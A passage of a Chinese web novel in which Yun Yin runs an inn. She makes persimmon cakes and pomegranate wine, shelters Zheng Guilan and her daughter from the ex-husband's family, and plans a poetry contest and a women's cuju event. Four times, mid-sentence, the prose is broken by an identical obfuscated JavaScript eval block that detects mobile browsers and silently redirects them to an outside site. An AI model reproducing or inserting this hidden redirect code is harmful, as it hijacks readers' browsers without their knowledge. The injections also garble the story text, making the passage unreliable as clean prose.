他高兴道：“还有呢，我一会儿再给您送来。”他憨笑一声道，“我是大竹村的，离云娘子不算远。” 大竹村？云音记得郑桂兰的前夫便是这个村的，她正想着，郑桂兰带着林芸的婢子过来，那婢子看到青橘，眼前一亮，上前尝了一个后，满意点头道：“这橘子我们都要了，你说个价格吧。” 那人没想到云音真给他找了买家，他连忙报了价格。 郑桂兰过来后一眼看到姜大郎，她皱了皱眉道：“姜大郎，你怎么在这里？” 姜大郎正帮云音装柿子，听到郑桂兰的声音，抬头看向她，“原来真的是你啊，我刚刚还以为认错了，你又为何会在这里？难道之前别人说的是真的，你真的在这里干活？” 郑桂兰语气冰冷道：“我在不在这里干活与你无关吧。” 姜大郎耸耸肩道：“确实与我无关，不过看着云娘子的份上，我还是提醒你一下，若是被方家知道你如今的情况，怕是会来找你麻烦。” “他们有什么资格来找我？”郑桂兰更加愤怒，“当初他们把我们母女赶出来，我们好不容易活下来，他们还想来找我麻烦？” 姜大郎无奈道：“你与我说也没用，你也知道方家有多难缠，我只是提醒你，早做打算。” 云音等姜大郎走后，才问郑桂兰道：“怎么回事？” 郑桂兰深呼一口气道：“没什么，他是我前夫村子的人，我前夫家人混，当初差点害死阿荷，所以他们因为我没能生下男孩，迁怒我们母女。” 她看着姜大郎远去的背影，眉头不禁皱了皱，“姜大郎说的不错，若是他们知道阿荷拜您为师，一定会来找麻烦的。”她歉意看着云音道，“云娘子，我给您带来麻烦了。” 云音摇头道：“这算什么麻烦，你当我们这群人不存在吗？我倒要看看他们能找什么麻烦。” 不是云音瞧不起郑桂兰前夫，连自己妻儿都护不住的人，她看都不会看一眼。 买完水果，云音找马浩几人帮忙，很快把这几筐水果搬了回去，她洗了几个石榴和柿子，给霍宇他们送去道：“你们也吃一点新鲜的水果。” 林芸摆手道：“我看柳儿也买了不少水果，云娘子留着自己吃吧。” 云音笑道：“她也只买了橘子和石榴，你们可以尝尝这柿子，我尝了挺甜的。” 这柿子黄澄澄的，如同一个个小灯笼，皮薄透亮，透过光仿佛能看到里面软绵的果肉，撕下柿子皮，晶莹剔透的果肉呈现在眼前，咬一口跟吃了蜜似的。 林芸没忍住吃了一个，她连连点头道：“确实很甜，可惜没能买上一些。” 云音笑道：“林娘子喜欢，我可以分你一些，晚些时候他们还会再送一批过来。” 林芸笑道：“那就多谢云娘子。” 云音分了一些熟透的柿子给林芸，留了一些还不是那么熟的柿子，拿来做柿饼。 柿子削皮，用绳子绑好，挂到长廊边，一串串红彤彤的小灯笼，如同垂帘一般，煞是好看。剩下的柿子皮洗干净后晒干，等柿子晒好后，拿来储存柿饼。 旁边挂着已经逐渐干煸的葡萄干，库房里存着不少干菜和咸菜，云音看着囤积的满当当的仓库，满足笑起来。 栗子也可以风干一些保存，石榴只能现在吃，云音准备榨一点果汁，剩下的拿来泡酒。 恰好之前云音泡的青梅酒可以拿来用，泡好的石榴酒色泽透亮，酸甜可口，即美颜又健脾，每天喝一点很幸福。 云音把酒坛清洗干净，高温消毒后，把冰糖和清洗后的石榴放入坛子里，倒入青梅酒，封坛百日后，便取出石榴滤汁后继续封坛百日，那时的石榴酒风味正浓。 她把装好的石榴酒放到仓库，林芸吃完饭出来正好看到长廊里挂着的柿子，她喃喃道：“又到做柿饼的时候了。” 云音出来听到，惊奇道：“林娘子，你们也做柿饼吗？” 林芸收回视线笑道：“是啊，你不知我们这里柿子也盛产吗？每年家家户户都会做柿饼，若是灾荒年，柿饼可是普通人的救命粮。” 云音很诧异她知道这些，好奇道：“我记得林晖家里好似是做绸缎的，家境挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465844|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富裕的，也需要做柿饼当救命粮吗？” 林芸：“那小子肯定不知道，我还记得我小时候，家里条件还不像现在这样好，遇到灾年我们都要存很多柿饼，如今家里还保持这个习惯，不过我实在不爱吃，小时候吃太多。倒是他们年轻人喜欢，家里每年做的柿饼，他们都能吃干净。” 云音听着林芸讲她小时候的趣事，更加了解他们，也知道很多宋时小时候的事情。 宋时外面进来，正好听到林芸的话，他撒娇道：“姑姑，你又说我小时候丢脸的事情，很丢脸的。” 林芸哈哈笑起来道：“我们倒是觉得你小时候很可爱。”她见宋时灰头土脸，惊讶问，“你去干嘛，怎么弄成这样了？” 宋时拍拍衣袖上的灰尘，摆手道：“没事，我四处逛逛。”他并不想让长辈知道这事，若是林芸知道，他爹娘肯定也知道了。 他们几人正聊着，屋内突然传来争吵声，云音几人闻声看去，原来是沈容和谢彦争吵起来。 本来他们几人吃着饭，聊聊天，气氛还算融洽，突然沈容和谢彦提到学里讲的文章，两人产生分歧，互相争吵起来。 如果只是两个互相辩论，也还好，也不知谁说了一句话，竟然引起两个县学争锋起来，这下不仅是沈容和谢彦，就连林晖和汪钰也争辩起来。 云音见他们争辩的脸红脖子粗，生怕他们急了打起来，好在他们还算有涵养，即便争辩的再激烈也没有动手。 正在这时江北县其中一学子道：“你们龙安县的县令犯下的错，你们学子有劝诫之责，你们竟然漠不关心，漠视这些事情发生，如今还影响到我们县，这难道不是你们的错？” 提起这件事，汪钰一时间也有些泄气，他道：“我们探讨的是学识，无关政治，官场上的事情，我们又有什么办法呢？” 沈容却不赞同道：“正因如此，我们更要谏言，不然又何必读书呢。” 在这件事上谢彦倒是赞同沈容，他颔首道：“沈三郎说的不错，这件事我们确实要向上谏言。” 云音好奇问：“龙安县又发生了什么？”她这段时间一直忙着囤积食物，开发新的菜色，还真没关注龙安县发生何事。 谢彦：“之前县令要修水利，抓了很多流民，强迫他们去修水利，我听闻有部分流民发生暴动，逃亡到北江县，造成不好影响，好在北江县县令果断，及时抓住了他们，没有造成更大影响。” 沈容颔首道：“修水利确实是好事，但也不能如此乱来，我还听说之前还闹过匪患，亏得解决了，不然我们出门都不安全了。” 匪患这事云音之前是了解的，没想到后面竟然还发生流民暴动，她好久没去县城，没听说这件事，来往的食客竟然也没提起，云音看向霍宇问：“霍老知道这事吗？” 霍宇颔首道：“前不久才发生的，因为这事，我一直留在县城观望，县衙解决此事，我才出来的。” 云音之前听傅望提过，这事是由于县令想要升迁引起的，她担忧会影响到来往客商，连忙追问道：“这事最后怎么解决的？” 68. 第68间客栈 霍宇：“听闻县令没有继续抓流民了，不过他从牢里拉了一批人前去修水利，至于服役的成丁，也放他们归家了。” 云音知道不会影响她后，她总算放下心来。 沈容道：“恐怕今年龙安县的县令考评会是下等。” 谢彦赞同道：“是啊，今年的考评县令别想好了，所以他最近一直很着急，正想办法如何解决这件事呢。” 后面的事情云音不关心了，只要县里的事情不会影响到她就行，她回柜台清点一下财产，打算再囤积一些木炭等过冬的必需品。 想到过冬，云音想到她田里种的棉花了，6月时她已经安排人打过顶，张林每天下午都要在田里巡视，有杂草及时清除干净，现今是棉花出絮的关键时期，一定要保证水分充足，枝叶茂盛的棉田也要剪去老叶，摘掉烂铃。 云音叫来张林，把这些注意事项交代清楚，对他道：“若是你忙不过来，告诉我，我找人帮忙。” 张林颔首道：“放心，云娘子，我忙得过来，如今下午没事做，去田里看看我也有事做。”如今云娘子这里的人越来越多，他担心自己没本事，日后不能再帮云娘子干活，对于打理田地的事情，张林还算有心得，他很重视，对于田里的棉花也很上心。 对于张林，云音还是很放心的，让他走后，继续算了算账，上个月有接待三个大客户，除了卖给罗蔓的那100份月饼，她自己也卖了一些月饼，加上其他过路商人，扣除成本有43贯钱之多。 但这些钱一大部分她要交税，大昭的商税挺高的，除了住税还有交易税，总共算下来，她只剩下27贯钱，能有二十多贯，云音也很满意了，收好账册，她对程勇道：“程哥，龙安县的冬天很冷，我们要多囤些柴禾和木炭，明天让马浩去县城买回来吧。” 程勇颔首道：“让他只买碳，木材让他手里的人去山里砍回来，总不能只吃饭不干活吧。” 云音却道：“龙安县的冬天会很冷，我们这么多人，而且厨房每日要用不少热水，这些都是消耗，还是多准备点柴禾吧。” “让他去附近村里收一些柴禾，我们自己再去山里砍一些，加上准备的碳，今年冬天应该够用。” 云音并不知道她此时做的决定多么重要，她只是习惯性未雨绸缪，多囤积些东西她心里安心，根本没想到今年冬日气温比往年冷多了，若不是她做了准备，今年还真说不好会遇到什么。 霍宇几人吃完歇够，付了饭钱，问云音：“云娘子，之前吃的烤鸭，今日还有吗？” “今日没有宴席，还剩两只，霍老您要多少？” 霍宇：“两只都要了，我还没吃腻，今日实在想尝尝你家的新菜，烤鸭我带回去吃。” 林芸也道：“我还没尝过云娘子的烤鸭，听霍郎说味道很特别，我也想尝尝。” 云音颔首道：“那我去帮你装起来。”她让程勇收钱，她则去厨房装了荷叶饼、配菜以及酱料，又把两只鸭片好后递给他们道， “烤鸭冷掉后皮会没那么酥脆，如果不想吃蒸的，可以用烤炉微微热一下，若是没有烤炉，也可以用茶炉，效果是一样的。这样复热后的烤鸭，鸭皮也是酥脆的。” 林芸身后的婢子接过食盒，点头道：“云娘子，我们记下了，回去会照你说的做的。” 霍宇几人走后，留下的便只剩汪钰等人，他长出一口道：“刚刚有长辈在，我都不好说话，憋死我了。” 林晖摇头道：“你又没少说，刚刚你吵的最凶。” 汪钰不服气道：“还不是你们先说北江县学，我们才会吵起来。” 北江县学里其他学子赞同道：“是啊，是啊，你们龙安县学也没强到哪里去，县学比拼时，不也跟我们差不多嘛。” 林晖叫嚷着道：“怎么可能差不多，我们上次可是赢了你们的。” 几人说着说着又争吵起来，其中一人道：“不然我们再重新比过，看看是谁更厉害。” 云音去虾田蟹田换过水回来，见他们又争吵起来，她询问程勇：“他们这次又是为何吵起来了？” 程勇耸耸肩道：“好像是为了比哪个县学更厉害吧，我也不懂这有什么好比的。” 云音倒是能理解，少年意气嘛，总想争口气，她略一思考后上前道：“既然你们谁也不服谁，不如约好时间，在这里举办一次诗会，最终胜利者，可以得到一份我亲自准备的宴席，你们觉得如何？” 汪钰觉得这个建议十分棒，他第一个赞同道：“我同意云娘子的提议。” 沈容和谢彦对视一眼，也赞同道：“那就麻烦云娘子，时间暂定为下个休沐，你看如何？” 云音笑道：“没问题，我会提前做好准备的。” 两方定下时间，约定下次再吵后各自离开，谢彦左右看看，没见着宋时，询问云音道：“怎么没看到宋时人？” 云音道：“他应该去查看四周环境，我请他帮我画一副壁画，他说要确定环境后，才能决定用什么材料，我也不懂这些，只能随他去。” 谢彦诧异道：“我还以为他已经放弃卖画，没想到还在坚持，只能祝他得偿所愿了。” 云音笑道：“他还挺有毅力的，或许真能如他所愿。”这段日子与宋时相处后，她觉得宋时为人不错，与阿蔓姐挺相配的，若是他真的有能力养活妻儿，不被家族束缚，或许真能与罗蔓有结果。 她其实早发现罗蔓并不是不动心的，只是横亘在二人之间的现实问题太多，所以罗蔓早早放弃，倒是宋时不愿放弃，这些罗蔓都有看在眼里，他们两一起努力，说不定有一天能听到他们的好消息。 太阳渐渐下山，云音送走吃完晚食的人，也开始准备今日的晚饭。 今天是重阳节，他们没去登高，只能吃重阳糕喝菊花酒替代，她又找罗蔓买了一只羊，晚上吃全羊宴。 在大昭重阳也是个重要日子，云音入乡随俗，决定也庆祝一下，全羊宴里的主菜自然是炙烤羊肉，羊排和羊腿拿去腌制烤上。 羊杂羊骨羊肉拿来煲汤，这个下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470707|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便已经煮上了，此时厨房热气蒸腾，满屋子都是羊肉的香气，秋天喝一碗羊杂汤，滋补养身又美味。 羊杂汤做起来不难，只是处理内脏需要花些心思，多多换水浸泡，析出里面的血水杂质，这样煮出来的羊汤才好吃。 羊杂汤其实是要配粉条的，云音没有做这个，所以她用白馍替代，也可以当作主食吃，罗蔓家的饭馆便有这道菜，他们叫羊羹，现代这道菜不叫羊羹，而是著名的羊肉泡馍。 除了烤羊排和羊腿，云音还清炖了一锅羊肉，也凉拌了一大盘，全部做完时，太阳已经完全下山，她叫来还在忙碌的人道：“吃饭啦。” 张林一早便忍不住，此时终于能吃上饭，他快步上前帮忙收拾桌子，上菜，等云音坐下说开吃后，他率先舀了一大碗羊羹。 刚一入口便被羊肉汤的鲜深深吸引，跟着云音这么久，不少好吃的他都吃过，但仍旧被这碗简单的羊羹惊艳。 热气腾腾的汤羹顺着喉咙往下流动，他的心窝也被这股热气笼罩，一天的辛勤劳累瞬间被抚平，只要能继续吃到这样一碗汤羹，让他再干更多活他也愿意。 张林吃的忘我，一旁的冯海道：“云娘子做的羊肉不比罗娘子的差，若是我们这里也卖羊肉，说不定能吸引更多人前来，毕竟有钱人还是更愿意吃羊肉，鱼肉和猪肉在他们看来是低贱的。” 云音吃着香喷喷的羊排，喝一口羊汤，满足一笑，“那是因为阿蔓姐养的羊肉好，我听说他们养羊的草料都是从西北来的，为了让羊肉好吃，她也是想尽办法，如果是一般的羊，会有很浓郁的腥膻味，但你看这羊我只是简单的做法，并没有放什么香料，熬出来的汤都很鲜美。” “如今我做菜用的羊都是找她买的，而且我也不是没有做羊肉，还是有不少的，只是不是专门做羊肉罢了，这样就很好了，总有人想要换换口味的，也不是全部有钱人都不爱吃鸡和鱼的。” 张林赞同道：“是啊，云娘子说的没错，你看霍老和宋时他们，不照样常常来吃我们娘子做的菜，娘子手艺好，连萝卜都能做成山珍海味，我是没见过比娘子更厉害的人了。” 吃完饭，天也快黑了，云音让张林送张桂林回去，她则把黑豆送到狗屋里，给它喂了吃的，摸摸它头道：“黑豆，辛苦你守家了。” 黑豆蹭蹭云音的腿，回了自己的狗屋，精神奕奕的盯着院子，尽责值守，保护自己的主人。 检查完所有门窗，张林也回来了，云音把大门关上，回房间睡觉。 一晚上过得飞快，云音感觉才刚躺下，就听到外面有人走动的声音，她依旧起床活动活动，看到程勇几人也起床活动，对正在打拳的马浩道：“我今日把蘑菇酱做好，你过两天带人送去绵州吧。” 马浩停下东西，颔首道：“没问题，我这边安排。” 云音练完武，去厨房做早食，张林则刚从镇上回来，带着东西去前面饭摊卖面和馄饨，等云音早饭做完后，还没见着郑桂兰和方荷的身影，她问程勇：“你看到桂兰了吗？” 69. 第69间客栈 程勇摇头道：“没见着，今天郑东也没来。” 郑桂兰母女两人每天早上坐郑东的船过来，晚上张林会用竹筏送两人回去，想到昨天才碰到的大竹村人，云音有些担心是不是她前夫去找她麻烦了。 云音叫来马浩，“你坐竹筏去一趟乐桃村，看看桂兰和方荷是不是遇上麻烦了，若是遇上麻烦，你帮忙解决一下。” 她把昨日姜大郎提起的事情说了一遍，马浩皱着眉听完，火冒三丈道：“我看他们敢对郑娘子做什么，这样的人还有脸来找郑娘子，云娘子你放心，我一定让他不敢欺负郑娘子。” 等马浩怒气冲冲走了，云音看看厢房，叹气道：“房子还是不够用啊。” 程勇吃完饭出来，听到云娘子的话，扬眉道：“云娘子是打算让她们母女住这里吗？” 云音点头道：“是啊，我之前想着可能有人要住宿，又不愿意住大通铺，所以特意把这里的房间布置成客房，可如今我店已经开一个多月了，留宿的人屈指可数，大多还是吃完饭便走了。” “剩下的四间房留一见给他们母女住，其他三间房留给过路人也够了。” 程勇看着这几间房，提醒道：“云娘子，你有没有想过，除了一些客商还不熟悉你的店外，有没有一种可能是他们顾虑货物安全呢？” 一语惊醒梦中人，云音突然意识到，虽然她一直以来说是把这里当作客栈，但她潜意识还是以饭馆为主的，住宿只是附带的，至于有没有客人住宿，她其实是并不着急的，只要还有人吃饭，她便有钱赚。 她已经建了客房，若是不把这些房子利用起来，那不是浪费吗，云音想到傅望曾经给她介绍过邸店，这种店既可以储存货物，又能提供客商住宿，很多大城市都有这样的店，但这种店都有军队或者寺庙参与。 云音自然做不到这点，但她可以修院落式的房子，让客商能有地方安置货物，这样他们的人也能在院子里护卫，能保证货物安全，他们也能更放心在她这里吃饭住宿。 她想要建这样的屋子，至少要建两间，不知道价格是多少，需要抽空去问问钱四，若是太贵，她可以先修一间，等赚钱后再慢慢扩建好了。 想清楚后，云音对程勇道：“多谢程哥提醒，我知道该怎么做了，先给郑桂兰母女留一个房间，剩下的还是先给偶尔住宿的人留着，其他的等我建好院子后，再做打算。” 程勇看着她风风火火跑回房间，摇摇头起身给傅望写信，除了给他写一些绵州镖局的情况，也给他提了提云音。 云音把想法记录好，继续回厨房准备，今日郑桂兰不在，午食用的菜她和冯海两人处理，比平日多花很长时间才做完。 等她做完今天的午食，马浩和郑桂兰他们还没回来，云音皱眉道：“怎么去了这么久？” 冯海道：“云娘子不必担心，别看浩子那人看着不怎么强壮，但人机灵的，打架也是一把好手，可能是有事耽搁了，估计一会儿就回来了。” 云音也只能放下担忧，去做一点下午饮品，如今天气渐渐凉起来，早晚温差挺大的，晚上喝一碗热腾腾的酒酿圆子，也就感受不到凉意。 这饮品做起来简单迅速，喝起来也甜滋滋的，价格也很便宜，过路人都能买一碗喝，云音拿了一些糯米粉，加水揉搓成一个个圆子，放入水里煮熟后，倒入酒酿，圆滚滚的白丸子飘荡在酒酿中，如同一个个喝醉的胖娃娃，浮浮沉沉，东倒西歪。 云音把这些丸子捞出来，尝了一口，酒香四溢，清甜可口，糯米的软糯融化在唇齿间，酒酿滑入嘴里，一颗颗软烂的米顺着滑下，才喝了一碗，她已经撑的吃不下。 糯米好吃，可惜不能多吃，云音放下碗，给程勇他们各端了一碗，“你们也暖暖胃吧。” 正说着话，马浩带着郑桂兰从外面进来，云音仔细打量她的情况，虽然已经不明显了，但还是能看出来她哭过，身后的方荷也紧绷着一张小脸，一句话也不说。 云音问马浩：“这是怎么了？没解决吗？” 马浩摇头道：“我去的时候，大竹村的人早走了，是乐桃村的一些人觉得因为郑娘子，影响到他们家的孩子嫁娶，所以想要赶他们出村罢了。” “好在郑东他们站在郑娘子这边，把那些人骂回去了，所以才在那里耽搁这么久。” 云音见郑桂兰神情沮丧，她道：“那你们快去吃饭吧，对了，我煮了酒酿圆子，你们也喝一碗吧。” 她给郑桂兰端了一碗热腾腾的圆子，郑桂兰尝了一口，热热的蒸汽弥散在眼前，滚热的酒酿温暖她寒冷的心，她的眼泪瞬间滴落在碗里，她擦了擦，一口一口认真把这碗汤喝完。 云音坐在她身旁道：“我刚刚收拾了一间房间，你以后和方荷住这里吧，正好她每日早起与我一起习武，我也有更多时间教她。” 郑桂兰才擦干净的眼泪又流下了，她哽咽道：“云娘子，真的太感激你了。”她泪眼婆娑道，“我真的不知道怎么感谢你，让我和女儿还能有个容身之地。” 云音帮她擦掉眼泪道：“你也很努力啊，平时干活尽心，厨房大堂里的卫生也打扫的干干净净，对于我们客舍来说，你也是不可缺少的。” “好了，别哭了，你的好日子还在后面呢，你看你有个多么好的女儿。” 郑桂兰看着正担忧看着自己的女儿，擦干眼泪，摸了摸女儿头道：“我知道的，我会好好跟女儿一起，越过越好。” “这样才对嘛，你们也赶紧去吃饭吧，吃完饭休息一会儿。” 张林从外面进来时，已经听说郑桂兰的事情了，他皱眉道：“云娘子，乐桃村的人也太过分了，明明错的是方家人，最后他们却怪郑娘子，这又不是郑娘子的错。” 云音无奈道：“没办法，乐桃村太穷困了，婚嫁本身就难，又碰上桂兰嫂子挣了钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478533|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她前夫又来找麻烦，他们可不把责任推给她嘛。” 张林皱眉道：“他们不是卖水果挣了钱吗？怎么还这样对郑娘子。” “也不是所有人都挣到了吧。”云音回忆之前听郑东提起的事情，“他们村里有很多人家里也没认真打理果树，水果质量一般，卖不上价格的。买水果肯定挑好的买，连我们都买好的水果，更别提城里的人了，他们自己就有庄子，肯定也有很多水果的，不是特别好的水果，也卖不出去。” 张林心疼看着郑桂兰，咬牙道：“若是方家人赶来找郑娘子麻烦，我定要他好看。” 云音道：“嗯，你平日在饭摊那里多注意些，若是遇到麻烦记得喊人过来叫我们。” 张林颔首道：“云娘子放下吧，我都知道的。” 一连几天，张林都很警惕，时不时关注周围人来人往，一心想要抓住方家人，给他们一个教训。 终于在一天中午，他正要收摊时，看到前方有个人鬼鬼祟祟走过来，张林立刻直起身来盯着那人看，那人发现张林的视线，避开他的视线继续在附近溜达。 张林把东西放下，起身朝那人走去，质问道：“你过来做什么的？” 那人转头，盯着张林看了一眼道：“哦，我听说这里有个客舍，会收购各种蔬菜水果，我过来看看是不是真的。” 张林颔首道：“没错，你要卖什么东西？” 那人支支吾吾半晌说不出一句话，张林紧盯着他的反应，突然见那人朝客舍跑去，他回头看见郑桂兰从远处走来，连忙快步追上，在那人跑到郑桂兰身边时，一把把那人按倒在地。 郑桂兰也看到这人，皱眉道：“方三，你过来做什么？之前还没闹够吗？” 方三挣扎半晌，也没从张林手里挣脱，他恶狠狠道：“我闹什么了，我过来看我女儿有问题吗？” 郑桂兰火冒三丈道：“阿荷不是你的女儿，当初你不顾她死活，差点被你娘害死，如今她也不是你们方家的女儿，你滚吧。” 方三还想再说些什么，张林一把扭着他，让他无法挣扎，只能痛苦嚎叫，张林把他拉起来，恶狠狠道：“不要来找麻烦，知道吗？这里不是你能惹的地方。” 方三还想放两句狠话，余光看到一个华丽的马车行驶而来，立刻低垂着头，被张林拉到路边，一句话不敢说。 郑桂兰也注意到这辆马车，她露出笑颜迎上前道：“夏娘子，您来了，里边请，我们娘子在院子里，你去了就能看到。” 夏燕从马车上下来，对她颔首道：“我知道了。” 郑桂兰看着走远的夏燕，上前低声对方三道：“我劝你别来找麻烦，我已经说过了，方荷不是你们方家的女儿，她也不会叫你阿耶，你死了这条心吧。” 她说完叫上张林，帮他拿着东西，两人有说有笑往客舍走去，方三看着两人走远，挥了挥拳头，骂骂捏捏走了。 70. 第70间客栈 云音从厨房出来，正好看到夏燕从外面进来，她笑嘻嘻道：“你来了，正好我煮了酒酿圆子，你要尝尝吗？” 夏燕坐到她身旁，舀起一勺酒酿，“味道很甜，你放糖了？” 云音摇头道：“我没放糖，是酒酿的甜味，若是放糖，这道甜品就太贵了。” 夏燕好奇打量云音许久，“你真是个奇怪的人。” 云音：“为什么这么说？” 夏燕慢条斯理道：“生活富足之人，才有心情悲天悯人，但我看你平日也很劳累，并不是多么富裕的人，之前我送你的华服，你也不穿，穿着麻布衣服也很开心，所以有些好奇罢了。” 云音：“……” “精神富足也是富足，而且我不觉得日子很差啊，这样的生活已经很好了。”虽然比不了后世，但比这里很多人都过的好了，有吃有喝，有房有地。 夏燕点头道：“你说的不错，精神富足也是富足，我听阿萱提起，谢彦和沈容他们要在这里举行诗会，你还提供彩头，不知道我们举行活动，你会不会提供彩头？” 云音好奇道：“你们要办什么活动？” 夏燕坐着身子道：“他们既然办文会，那我们便办武会好了，我看你这里场地挺大的，打马球是不可能的，但用来蹴鞠还是不错的。” 云音：“你们还会蹴鞠？” 夏燕笑道：“那你就小瞧我们了吧，你等着，我到时候叫上几个好友，让你好好瞧瞧我们的本事。”她激动说完，推了推云音，“你还没说，给不给彩头呢。” 云音回神，“当然，你们来我这里举办活动，是为我吸引客户，我当然给你们提供彩头。” 云音还没见过女子蹴鞠，她也很好奇，追问道：“你们打算什么时候过来？我好提前做准备。” 夏燕沉思须臾道：“跟他们诗会一天吧，还可以欣赏一二他们的风采。” 云音点头道：“没问题，我会提前准备好的，对了，你们蹴鞠需要多大场地？” 夏燕道：“不用多大场地，你外面那片地方就够了，我们是白打，并不是对抗性质的，所以不要求场地。” 听夏燕解释后，云音才知道，原来白打是以个人或者多人对踢、传递，或者表演控球的花样为主的技艺。 云音颔首道：“我明白了，那天我要好好观看一下你们的比试。” 夏燕笑弯眼道：“没问题，你也可以上场参与的。” 云音摆手道：“我不会，还是不上场丢丑了。” 与夏燕聊完，云音去厨房给她做午食，夏燕则起身去周边看看。 出了大堂，看到隔壁长廊挂着的柿子和葡萄，夏燕好奇看看，看够了带人出了院子。 此时田里的水稻早已收割，此时地里还有些人正在种植冬小麦，夏燕看着他们劳作，不一会儿便被前面一片白蒙蒙的植株吸引，她走到那片田里，仔细盯着这白花看，好半晌问：“这是什么花？” 在另一块地里劳作的人看到这位娇小姐，他迟疑片刻，上前回道：“娘子好，听云娘子提过一次，这好像叫棉花。” “棉花？”夏燕诧异看着这团棉花，“原来这就是棉花，我在长安听说过，没想到这里竟然也有。” 夏燕带着疑问回到客舍，见云音还在忙碌，她坐在一边等着，等她不忙了问道：“云娘子，我看你田里种了很多棉花，这种子你还有吗？” 云音不奇怪夏燕认识棉花，对她要种子的用途有些好奇，“你要种棉花吗？” 夏燕点头道：“我看这花开的很好看，用来观赏很漂亮，我那花园里还没有棉花，所以想找你买些种子。” 云音道：“这棉花是拿来做衣服的，冬天做棉衣保暖用的，如果你只是种了观赏，我只能给你一点种子，其他的我还要继续种。” 她种的这点棉花，今年只够他们客栈里的人用，种子分一点给临江村的人，剩下的也就只够她明年种植了。 夏燕听她说棉花是拿来做衣服的，很惊讶，她想起在长安时的听闻，好奇道：“棉花怎么做衣服？我在长安有听说这个植物，不过是大户人家种来观赏的。” 云音：“虽然这棉花织的布只能织成粗布，比不上丝和麻，但是拿来做填充还是比杨絮和柳絮要强的多，所以夏小娘子，我不能给你太多种子。” 夏燕听闻后点头道：“没事，你只卖我几颗种子便好，我只需要种几株在花园里。” 云音笑道：“我直接送你几颗，这东西其实不怎么值钱，主要是我如今种子较少，等以后多了，你想要多少我都能给你多少。”如今她种植的还是非洲棉，以后她托傅望在两广地区寻一寻，能找到亚洲棉，就能织出细棉布了。 说完棉花的事情，云音问起她们举办活动的事情，场地这些她不挑，吃食之类的，她也想问问夏燕有什么要求。 “那天要举办两场活动，我想大餐你们肯定没心思享用，我的意思是做一些小吃点心，糖水之类的，你们饿了也能随时填一填肚子。” 夏燕：“云娘子准备做哪些小吃？” “小吃准备做点盐焗鸡、茶叶蛋和肉夹馍，有肉有菜，即可以当小吃，也能当主食。点心我打算做糯米糍、驴打滚和栗子糕，如今正是吃栗子的季节，这个糕点食材方便，还有我之前做过的钵仔糕，夏小娘子你应该尝过，吃起来还不错，用竹签插着着，还不脏手。” 云音想了想继续道：“糖水我准备做酸梅汤、绿豆汤、冰糖雪梨以及豆花，凉粉也会继续准备些，有人前来观看，也能买一份。” 夏燕听她说完，颔首道：“不错，那就按照云娘子说的来。”她想到之前吃过的卤菜，询问道：“云娘子这次不打算做卤菜吗？那个吃起来也很好吃，想必她们会很喜欢。” 云音想到之前的卤水已经不能用了，若是这次要做卤菜，需要重新熬制卤料，她想到要做肉夹馍，里面的肉也需要卤的，干脆便一次性多卤一点，她颔首道：“既然娘子们都喜欢，那我再做一些吧。” 夏燕闻言笑起来道：“我到时候会多带些人前来，每个人交半吊钱，里面的吃食可以随便她们吃，云娘子也能多赚一些。” 云音笑道：“嗯，那便麻烦夏小娘子，我会把这个提议告知谢彦汪钰他们。” 与夏燕商量好，云音找人给谢彦与汪钰等人送信， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483090|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后她打算先做盐焗鸡，既然要做盐焗鸡，最重要的盐焗粉自然也要准备了。 云音去了一趟县城，买了沙姜和黄栀子以及甘草，这几样药材价格并不贵，她多买了一些，另外又买一点八角和桂皮以及花椒，还有卤肉需要的调料，带着一大包香料回家。 回到家后，她把干沙姜磨成粉，黄栀子和甘草以及花椒炒一炒，也磨成粉末，磨好的粉末混合均匀，加入盐搅拌后，用瓶子装起来，放到干燥阴凉的地方保存，以后还想吃盐焗鸡，可以随时随地做。 